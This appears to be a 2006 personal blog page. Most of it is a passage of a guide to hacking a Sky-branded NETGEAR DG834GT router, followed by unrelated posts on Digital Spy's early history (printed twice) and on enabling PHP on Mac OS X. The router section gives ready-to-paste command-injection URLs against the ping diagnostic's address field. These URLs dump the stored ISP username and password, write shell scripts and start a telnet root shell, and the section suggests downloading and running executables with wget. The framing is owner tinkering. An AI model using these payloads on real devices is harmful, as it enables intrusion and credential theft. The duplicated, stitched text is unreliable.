Attn(dB): 9.0 5.0
Pwr(dBm): 9.5 11.5
Max(Kbps): 11648 1200
Rate (Kbps): 2272 288
G.dmt framing
K: 72(0) 10
R: 0 0
S: 1 1
D: 1 1
ADSL2 framing
MSGc: 1 1
B: 72 10
M: 1 1
T: 1 1
R: 0 0
S: 1.0000 1.0000
L: 584 88
D: 1 1
Counters
SF: 571236 571234
SFErr: 0 0
RS: 0 0
RSCorr: 0 0
RSUnCorr: 0 0
HEC: 0 0
OCD: 0 0
LCD: 0 0
Total Cells: 52038274 0
Data Cells: 4221258 0
Drop Cells: 0
Bit Errors: 0 0
ES: 0 0
SES: 0 0
UAS: 11 0
Total time = 2 hours 42 min 7 sec
SF = 571236
CRC = 0
LOS = 0
LOF = 0
ES = 0
Apart from the more common ADSL statistics already present in the managment interface (ADSL status, downstream/upstream rates, noise/attenuation ratios) we also have some interesting information on the maximum speed supported by your line for both downstream and upstream as reported by the DSLAM at your local telephone exchange.
The "Max(Kbps)" entry seen in the example above is showing a maximum supported rate of 11648 Kbps downstream and 1200 Kbps upstream as opposed to negotiated rate of 2272 Kbps downstream and 288 Kbps upstream.
File System
Entering the following command provides you with an overview of the DG834GT's simple file system:
# ls -al /
The output should look something like this:
drwxr-xr-x 1 0 0 452 Jan 1 1970 bin
drwxr-xr-x 1 0 0 0 Jan 1 1970 dev
lrwxrwxrwx 1 0 0 8 Jan 1 1970 etc -> /tmp/etc
drwxr-xr-x 1 0 0 784 Jan 1 1970 lib
dr-xr-xr-x 33 0 0 0 Jan 1 00:00 proc
drwxr-xr-x 1 0 0 176 Jan 1 1970 sbin
drwxrwxrwx 4 0 0 0 Jan 1 01:59 tmp
drwxr-xr-x 1 0 0 116 Jan 1 1970 usr
lrwxrwxrwx 1 0 0 8 Jan 1 1970 var -> /tmp/var
lrwxrwxrwx 1 0 0 8 Jan 1 1970 www -> /tmp/www
drwxr-xr-x 1 0 0 3812 Jan 1 1970 www.deu
drwxr-xr-x 1 0 0 3888 Jan 1 1970 www.eng
drwxr-xr-x 1 0 0 3784 Jan 1 1970 www.fre
drwxr-xr-x 1 0 0 3836 Jan 1 1970 www.ita
BusyBox commands can be found in '/bin' and '/sbin' while active router settings and statistics can be found in either '/proc' or '/tmp'. Available devices can be found in '/dev' while active Linux modules can be found in '/lib'.
The HTML files and CGI scripts making up the management interface can be found in '/www' or '/tmp/www' which is nothing more than a symbolic link to one of the '/www.*' directories depending on which management interface language you currently have selected.
Router Settings
The router's configuration is stored in a plain-text file that can be found in the /tmp folder. To view this file enter the following command:
# cat /tmp/nvram
Unfortunately, as you can see, the entries in this file are concatenated making it difficult to read:
time_zone=GMT+0time_daylight=1restore_default=0wiz_language=Englishwiz_country=UKfix_ipaddr=fix_netmask=
fix_gateway=wan_ifname=ppp0wan_mode=pppoawan_iptype=Dynamicwan_ipaddr=wan_netmask=wan_gateway=wan_mtu=1458
wan_fix_dns=0wan_dns1=wan_dns2=wan_macaddr=wan_encap=1wan_vpi=0wan_vci=38wan_account=wan_domain=wan_dod=1
lan_if=br0lan_ipaddr=192.168.0.1lan_netmask=255.255.255.0lan_bipaddr=192.168.0.255dhcp_server_enable=1
dhcp_start_ip=192.168.0.10dhcp_end_ip=192.168.0.100dhcp_reserved=http_username=adminhttp_password=password
http_timeout=15rt_static_route=rt_rip_version=1rt_rip_direction=0ddns_enable=0ddns_service_provider=
dyndnsddns_user_name=ddns_password=ddns_host_name=ddns_use_wildcards=0pppoe_username=pppoe_password=
pppoe_idle=0pppoe_service=pppoa_username=user@isp.compppoa_password=abc123ABCpppoa_idle=0pppoa_ipaddr=
wifi_ssid=NETGEARwifi_region=Europewifi_channel=6wifi_auth_type=3wifi_key_len=0wifi_def_key=1wifi_key1=
wifi_key2=wifi_key3=wifi_key4=wifi_access_control=0wifi_access_list=wifi_if_on=1wifi_broadcast_ssid=1
wifi_wep_on=0wifi_dot11_mode=0wifi_dot11_iso=1wifi_radius_port=1812mail_enable=0mail_logfull=0mail_sendlog=0
mail_server=mail_recipient=mail_dos=0mail_portscan=0mail_block=0mail_sh_day=mail_sh_hour=0log_dos=0
log_block=0log_login=0log_gateway=0log_type=0log_remote_ip=fw_nat=1fw_block=0fw_block_keyword=
fw_block_trust_enable=0fw_block_trust=fw_services_def=Any(ALL):any:1-65535Any(TCP):tcp:1-65535
Any(UDP):udp:1-65535AIM:tcp:5190-5190BGP:tcp:179-179BOOTP_CLIENT:udp:68-68BOOTP_SERVER:udp:67-67
CU-SEEME:both:7648-24032DNS:both:53-53FINGER:tcp:79-79FTP:tcp:20-21H.323:tcp:1720-1720HTTP:tcp:80-80
HTTPS:tcp:443-443IDENT:tcp:113-113IRC:both:6667-6667NEWS:tcp:144-144NFS:udp:2049-2049NNTP:tcp:119-119
POP3:udp:110-110RCMD:tcp:512-512REAL-AUDIO:tcp:7070-7070REXEC:tcp:514-514RLOGIN:tcp:513-513
RTELNET:tcp:107-107RTSP:both:554-554SFTP:tcp:115-115SMTP:tcp:25-25SNMP:both:161-161SNMP-TRAPS:both:162-162
SQL-NET:tcp:1521-1521SSH:both:22-22STRMWORKS:udp:1558-1558TACACS:udp:49-49TELNET:tcp:23-23TFTP:udp:69-69
VDOLIVE:tcp:7000-7000VPN-IPSEC:udp:500-500VPN-L2TP:udp:1701-1701VPN-PPTP:tcp:1723-1723fw_services=
fw_in_rules=fw_out_rules=fw_dmz_enable=0fw_dmz=fw_spi=1fw_response_ping=0fw_schedule=1111111:0:0-24:0
fw_time_zone=GMTbfw_remote=0fw_remote_type=1fw_remote_range_start=fw_remote_range_end=fw_remote_single=
fw_remote_port=8080ntp_custom=0ntp_server=upnp_enable=0upnp_adv_time=30upnp_ttl=4snmp_enable=0
snmp_read_community=snmp_sys_name=snmp_sys_contact=snmp_sys_location=wifi_present=1wifi_features=
1wiz_runtest=ipoa_mode=mail_enable_auth=0mail_login=mail_password=upgrade_default=0#
One way of getting around this is by using the 'grep' command to search the nvram content and only output the search results. For example:
# cat /tmp/nvram | grep pppoa_
This will output the contents of the nvram file to 'grep' which will scan this output, match against the search string that was passed to the command and then return any results that it finds:
pppoa_username=user@isp.com
pppoa_password=abc123ABC
pppoa_idle=0
pppoa_ipaddr=
In this particular example, 'grep' returns entries relating to PPPoA authentication that would allow you to see the username and password stored on your router that is used to connect you to your ISP's ADSL service. Most useful if you should ever forget or lose your password. :-)
URL Injection
Added 22nd September 2006
Updated 27th September 2006
Having recently subscribed to Sky Broadband in the UK, I like many other knowledgeable subscribers were disheartened to find that the branded NETGEAR DG834GT Sky are using has had its Telnet server password protected as a result of Sky's customisations to the NETGEAR firmware. Any attempt to launch the server using the debug mode described above is met with a login prompt once you connect your Telnet client to the router. Trying various username/password combinations gets you nowhere.
Not one to be beaten by such a pointless restriction, I delved further into the NETGEAR and Sky firmware to try and find a flaw I could take advantage of. After a couple of days of tinkering I finally found one. The infamous URL injection.
URL injection, to put it simply, is a method of manipulating a URL on a web server to achieve a result not originally intended by that URL. For example, you modify a URL to display a web server's filesystem rather than display a news article as it was originally supposed to.
Having had a look at the source for a few of the HTML pages present on both the NETGEAR and the Sky firmware, I found a candidate for URL injection: the router's ping diagnostic function. Trying various things I finally managed to get the result I wanted. Access to BusyBox and the underlying operating system without the need for the Telnet server.
There are some limitations, non-interactive command access for one, but they aren't enough of a hindrance to be a problem.
Getting Started
To begin, you need to log into the administration interface of the router as normal.
Due to the nature of the hack not being fully interactive, I had to come up with a method of obtaining the command output we expect. Redirecting output to a text file in the default web root would be the logical method as you can then download the file through the router's web server and read the output offline. Unfortunately NETGEAR made the web root read only on the router which at first made this seem impossible. Read only for all files bar two: netgear.cfg and ppp_log which are used for dynamic content that needs to be generated by the router on the fly and accessed or downloaded by the user.
Taking advantage of this file permissions oversight, we can now pipe our command output directly into either of these two files and download them to view the output. You can download the files by entering them directly into your web browser as follows (I'll use netgear.cfg for all of my examples):
http://192.168.0.1/netgear.cfg
Now that we can access the command output that we generate, here's how to access the same information provided in some of the Telnet examples above by using URL injection:
BusyBox
This simple example shows you the default BusyBox output:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/busybox
Just copy and paste the URL above into your browser to use it. Any output (including a ping error message which is normal) will be displayed in your browser window.
Modem Statistics
In this example we obtain detailed statistics from the ADSL modem:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/sbin/adslctl+info+--stats+%3E+/www.eng/netgear.cfg
To view the output, click the following link and open the netgear.cfg file in a text editor:
http://192.168.0.1/netgear.cfg
ADSL Username and Password
To obtain PPPoA authentication information (which is annoyingly hidden from you on the Sky branded router unless you choose to revert your firmware back to a NETGEAR version) enter the following:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg
To view the output, click the following link and open the netgear.cfg file in a text editor such as Notepad or WordPad on Windows and TextEdit or TextWrangler on Mac OS X:
http://192.168.0.1/netgear.cfg
Running Commands
Here we use a complex URL to create a shell script in /tmp that sets a PATH variable and then launches the utelnetd daemon when later executed:
NOTE: This URL has been wrapped across multiple lines and should be copy & pasted as one line into your browser!
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/echo+%22%23%21/bin/ash%22+%3E+/tmp/utelnetd.sh
%26/bin/echo+%22PATH%3D/bin%3A/sbin%3A/usr/bin%3A/usr/sbin%3A/tmp%22+%3E%3E+/tmp/utelnetd.sh
%26/bin/echo+%22/usr/sbin/utelnetd+-d+-l+/bin/ash+-p+23%22+%3E%3E+/tmp/utelnetd.sh
%26/bin/chmod+755+/tmp/utelnetd.sh
We can now launch the shell script we created in the URL above using the following URL:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/tmp/utelnetd.sh
We can also combine some of these techniques into one line to achieve the same result like so (credit to Digital Spy's mossywell for wrapping this all into one URL injection for me):
NOTE: This URL has been wrapped and should be copy & pasted as one line into your browser!
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=
%26/bin/ash+-c+%27PATH%3D/bin%3A/sbin%3A/usr/bin%3A/usr/sbin%3B/usr/sbin/utelnetd+-d+-l+/bin/ash%27
And here we kill the same utelnetd daemon we started manually:
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/bin/killall+utelnetd
Further Access
Using the simple examples above it's very easy to perform other tasks that you would otherwise have been able to perform via Telnet access.
One example would be to use URL injection to access the 'wget' command, download an executable (let's say a third party FTP or SSH server), set permissions on that command to be executable and then finally execute the command on the router.
Final Notes
Additional Information
There's plenty more to be had from this amazing little router, more than I can reasonably include on this page.
Further information on hacking the existing operating system or even replacing it entirely can be found on the web via the following links:
- The Little DG834G Page
- The DG834 Hacking Site
- Mike's DG834 Firmware Page
- OpenWrt
- OpenWrt DG834G
Forum
Other Hardware/Firmware
I should state that the information supplied above isn't limited solely to the DG34GT. I've been able to access the operating system on the DG834Gv2 in exactly the same manner with similar results. Your access to the operating system will always be controlled by your firmware release and any limitations imposed by NETGEAR in that firmware release. What works now may not work in the next firmware release that NETGEAR puts out.
Should you decide that access to your router's operating system is more important than the additional features or bug fixes made available in a newer firmware release, either postpone the firmware upgrade or keep a copy of your previous firmware image so that you can roll back to it should you ever need to.
Disclaimer
As always, your mileage will inevitably vary and I cannot be held responsible for any loss or damage you may encounter as a result of following any of the instructions contained within this article.
That said I'm certain you will enjoy tinkering with your DG834GT on a such low level as much as I have done. :-)
Digital Spy's Early History
30/03/2006 05:15 PM Filed in:
Miscellaneous
For those of you who know Digital Spy well, the site offers an official history page which documents the
early formation of the site as well as other more recent
activities.
Unfortunately I must admit to finding their history page more than a little lacking in relation to the period of January 1999 - May 2001 so I thought I would share my own recollection of events during that time with the assistance of old emails, Usenet postings and other fond reminders from days gone by...
17th January 1999
The digiNEWS site is launched by Iain Chapman.
28th February 1999
ONfaq, a site originally run by Chris Butcher, partners with digiNEWS.
21st July 1999
Having become good friends with Iain Chapman via the DALnet #SkyDigital IRC channel and offering to host his site for him, the digiNEWS site moves from its early Freeserve host to a virtual server hosting the new diginews.org domain name. In the same month we also saw the first appearance of the extremely popular digiNEWS forum powered by the extremely buggy Microsoft FrontPage 98 Discussion WebBot.
Note: This was the first of many virtual servers I provided and maintained for the site until June 2001 when growth dictated the necessary move to a dedicated server.
1st November 1999
Cable News UK, a site originally run by Chris Norris, joins digiNEWS and ONfaq in the formation of the digiNEWS Network.
1st March 2000
The first appearance of the Digital Spy brand occurs with the relaunch of the digiNEWS Network forum using Ultimate Bulletin Board v5 as the forum's backend.
3rd April 2000
TVzone, a site originally run by Neil Wilkes, joins the digiNEWS Network.
14th August 2000
dvdnews.co.uk, a site originally run by Mark Hughes, is the final site to join the digiNEWS Network.
19th May 2001
The digiNEWS Network evolves from a collection of micro sites into the new Digital Spy site.
Note: The new site design was powered by RAMS (Remote Access Management System) a content management system that I developed for the site along with the new CSS based design wrapped around RAMS.
Unfortunately I must admit to finding their history page more than a little lacking in relation to the period of January 1999 - May 2001 so I thought I would share my own recollection of events during that time with the assistance of old emails, Usenet postings and other fond reminders from days gone by...
17th January 1999
The digiNEWS site is launched by Iain Chapman.
28th February 1999
ONfaq, a site originally run by Chris Butcher, partners with digiNEWS.
21st July 1999
Having become good friends with Iain Chapman via the DALnet #SkyDigital IRC channel and offering to host his site for him, the digiNEWS site moves from its early Freeserve host to a virtual server hosting the new diginews.org domain name. In the same month we also saw the first appearance of the extremely popular digiNEWS forum powered by the extremely buggy Microsoft FrontPage 98 Discussion WebBot.
Note: This was the first of many virtual servers I provided and maintained for the site until June 2001 when growth dictated the necessary move to a dedicated server.
1st November 1999
Cable News UK, a site originally run by Chris Norris, joins digiNEWS and ONfaq in the formation of the digiNEWS Network.
1st March 2000
The first appearance of the Digital Spy brand occurs with the relaunch of the digiNEWS Network forum using Ultimate Bulletin Board v5 as the forum's backend.
3rd April 2000
TVzone, a site originally run by Neil Wilkes, joins the digiNEWS Network.
14th August 2000
dvdnews.co.uk, a site originally run by Mark Hughes, is the final site to join the digiNEWS Network.
19th May 2001
The digiNEWS Network evolves from a collection of micro sites into the new Digital Spy site.
Note: The new site design was powered by RAMS (Remote Access Management System) a content management system that I developed for the site along with the new CSS based design wrapped around RAMS.
PHP on Mac OS X
03/03/2006 03:00 PM Filed in:
Mac OS X
To enable PHP 4.x on an installation
of Mac OS X Tiger, just follow these 8 simple steps:
PHP has now been enabled.
- Launch Terminal which can be found in Applications > Utilities
- Launch Nano (a simple command line text editor) by entering the following command at the prompt (you will be prompted for your password): sudo nano -w /etc/httpd/httpd.conf
- Locate the following line by pressing CTRL+W and entering the following text: #LoadModule php4_module
- Remove the # from the beginning of the line.
- Locate the following line by pressing CTRL+W and entering the following text: #AddModule mod_php4.c
- Remove the # from the beginning of the line.
- Save the file and exit Nano by pressing CTRL+X
- Finally restart Apache by entering the following command at the
prompt: sudo apachectl
restart
PHP has now been enabled.